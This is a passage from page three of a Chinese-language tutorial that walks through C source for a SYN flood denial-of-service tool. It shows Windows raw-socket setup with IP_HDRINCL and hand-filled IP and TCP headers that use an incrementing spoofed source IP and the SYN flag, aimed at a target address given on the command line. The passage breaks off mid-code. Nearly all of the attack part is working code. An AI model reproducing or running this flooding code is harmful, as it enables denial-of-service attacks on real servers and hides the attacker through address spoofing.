// 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP  if(argc < 2)   strcpy(DestIP, SYN_DEST_IP);  else   strcpy(DestIP, argv[1]);   // 以下是声明Socket变量和相应的数据结构  WSADATA wsaData;  SOCKET SockRaw=(SOCKET)NULL;  struct sockaddr_in DestAddr;  IP_HEADER ip_header;  TCP_HEADER tcp_header;  … … } 
 
  下一步就是初始化Raw Socket 
//初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本 {  fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);  ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息 {  fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());  ExitProcess(STATUS_FAILED); } 
 
  第二步就是填充刚才定义的那些数据结构 
//设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n"); __try{  //设置发送超时 
 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));  if(ErrorCode==SOCKET_ERROR)  {   fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());   __leave;  }  memset(&DestAddr,0,sizeof(DestAddr));  DestAddr.sin_family=AF_INET;  DestAddr.sin_addr.s_addr=inet_addr(DestIP);  FakeIpNet=inet_addr(FAKE_IP);  FakeIpHost=ntohl(FakeIpNet);  //填充IP首部  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));  //高四位IP版本号,低四位首部长度  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)  ip_header.ident=1; //16位标识  ip_header.frag_and_flags=0; //3位标志位  ip_header.ttl=128; //8位生存时间TTL  ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)  ip_header.checksum=0;//16位IP首部校验和  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址  ip_header.destIP=inet_addr(DestIP); //32位目的IP地址  //填充TCP首部  tcp_header.th_sport=htons(7000);//源端口号  tcp_header.th_dport=htons(8080);//目的端口号  tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号  tcp_header.th_ack=0; //ACK序列号置为0  tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位  tcp_header.th_flag=2; //SYN 标志  tcp_header.th_win=htons(16384); //窗口大小  tcp_header.th_urp=0; //偏移  tcp_header.th_sum=0; //校验和 
 
		      
		      
		      
		      
		      
		      
                       
		      
		        
		      共4页: 上一页 [1] [2] 3 [4] 下一页 
		     |